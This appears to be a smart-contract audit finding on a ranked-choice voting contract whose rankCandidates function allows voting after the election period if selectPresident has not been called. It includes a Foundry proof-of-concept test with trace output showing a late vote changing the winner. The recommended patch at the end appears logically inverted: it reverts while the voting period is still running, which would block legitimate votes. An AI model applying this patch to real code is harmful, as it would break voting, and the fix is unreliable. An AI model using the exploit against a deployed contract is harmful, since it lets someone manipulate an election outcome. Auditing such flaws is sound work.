Description
Since there is no check for the duration remaining in RankedChoice::rankCandidates, voters can cast votes in the current election even after the i_presidentalDuration for that election has passed, so long as selectPresident has not yet been called.
Impact
Users might think all valid votes have been cast for the current election once the duration period of 1460 has passed since last election, however if no one has called selectPresident then additional votes may be cast and influence the outcome of the election.
Proof of Concept
function testCanVoteAfterDurationIfSelectPresidentNotYetCalled() public {
assert(rankedChoice.getCurrentPresident() != candidates[0]);
orderedCandidates = [candidates[0], candidates[1], candidates[2]];
uint256 startingIndex = 0;
uint256 endingIndex = 1;
for (uint256 i = startingIndex; i < endingIndex; i++) {
vm.prank(voters[i]);
rankedChoice.rankCandidates(orderedCandidates);
}
vm.warp(block.timestamp + rankedChoice.getDuration());
startingIndex = endingIndex + 1;
endingIndex = 3;
orderedCandidates = [candidates[3], candidates[1], candidates[4]];
for (uint256 i = startingIndex; i < endingIndex; i++) {
vm.prank(voters[i]);
rankedChoice.rankCandidates(orderedCandidates);
}
rankedChoice.selectPresident();
assertEq(rankedChoice.getCurrentPresident(), candidates[3]);
}
Output:
[PASS] testCanVoteAfterDurationIfSelectPresidentNotYetCalled() (gas: 1466189)
Traces:
[1585589] MyTest::testCanVoteAfterDurationIfSelectPresidentNotYetCalled()
├─ [2291] RankedChoice::getCurrentPresident() [staticcall]
│ └─ ← [Return] MyTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
├─ [0] VM::prank(0x0000000000000000000000000000000000000064)
│ └─ ← [Return]
├─ [312448] RankedChoice::rankCandidates([0x00000000000000000000000000000000000000C8, 0x00000000000000000000000000000000000000C9, 0x00000000000000000000000000000000000000ca])
│ └─ ← [Stop]
├─ [236] RankedChoice::getDuration() [staticcall]
│ └─ ← [Return] 126144000 [1.261e8]
├─ [0] VM::warp(126144001 [1.261e8])
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000066)
│ └─ ← [Return]
├─ [108756] RankedChoice::rankCandidates([0x00000000000000000000000000000000000000CB, 0x00000000000000000000000000000000000000C9, 0x00000000000000000000000000000000000000cc])
│ └─ ← [Stop]
├─ [1035997] RankedChoice::selectPresident()
│ └─ ← [Stop]
├─ [291] RankedChoice::getCurrentPresident() [staticcall]
│ └─ ← [Return] 0x00000000000000000000000000000000000000CB
├─ [0] VM::assertEq(0x00000000000000000000000000000000000000CB, 0x00000000000000000000000000000000000000CB) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Recommendations
Add the notTimeToVote check that is used in selectPresident to rankCandidates as well:
function rankCandidates(address[] memory orderedCandidates) external {
+ if (
+ block.timestamp - s_previousVoteEndTimeStamp <=
+ i_presidentalDuration
+ ) {
+ revert RankedChoice__NotTimeToVote();
+ }
_rankCandidates(orderedCandidates, msg.sender);
}